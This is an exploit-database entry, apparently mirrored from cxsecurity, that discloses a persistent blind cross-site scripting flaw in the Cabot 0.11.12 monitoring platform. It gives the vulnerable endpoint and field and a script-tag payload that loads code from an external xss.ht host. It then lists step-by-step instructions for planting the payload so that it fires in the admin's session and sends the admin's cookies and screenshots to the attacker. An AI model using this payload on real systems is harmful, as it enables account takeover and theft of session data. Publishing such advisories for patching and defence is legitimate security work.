Edit (edit.html?id=36106) Report (mailto:info@topcodersonline.com)

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020090041 (https://cxsecurity.com/ascii/WLB-2020090041)

Below is a copy:

```
# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Abhiram V
# Vendor Homepage: https://cabotapp.com/
# Software Link: https://github.com/arachnys/cabot
# Version: 0.11.12
# Tested on: Ubuntu Linux

############################################################################

Introduction

Cabot is a free, open-source, self-hosted infrastructure monitoring
platform
that provides some of the best features of PagerDuty, Server Density,
Pingdom
and Nagios without their cost and complexity.It provides a web interface
that allows
us to monitor services and send telephone, sms or hipchat/email alerts to
your
on-duty team if those services start misbehaving or go down .

############################################################################

XSS details: Blind XSS

############################################################################

Executing Blind XSS in New Instances leads to admin account takeover

URL
http://127.0.0.1:5000/instance/create/

PAYLOAD
"><script src=https://anonart.xss.ht></script>
*payload from xsshunter.com platform for finding blind xss*

PARAMETER
Address column

EXPLOITATION
Create a user account under django administrator account and login as user
to perform the attack
Create a new instance and save the instances, Navigate to Services.
Create a new Service from then input a Name and Url (for POC i used
BlindXSS in both columns).
Then append the admin account in Users to notify column and use status
check and instances then save.
Now the admin account gets a notification when the admin runs the check
Blind XSS executes in background.
when login to xsshunter.com we can see the screenshots cookies and all
details of admin account

IMPACT
Stored XSS can be executed from any accounts and triggered in any accounts
including django administration
unknowingly by the victim (here it is admin) and compromise the accounts.

Tested in both xsshunter.com and blindf.com
Attacker can also use stored xss payloads here.

############################################################################
```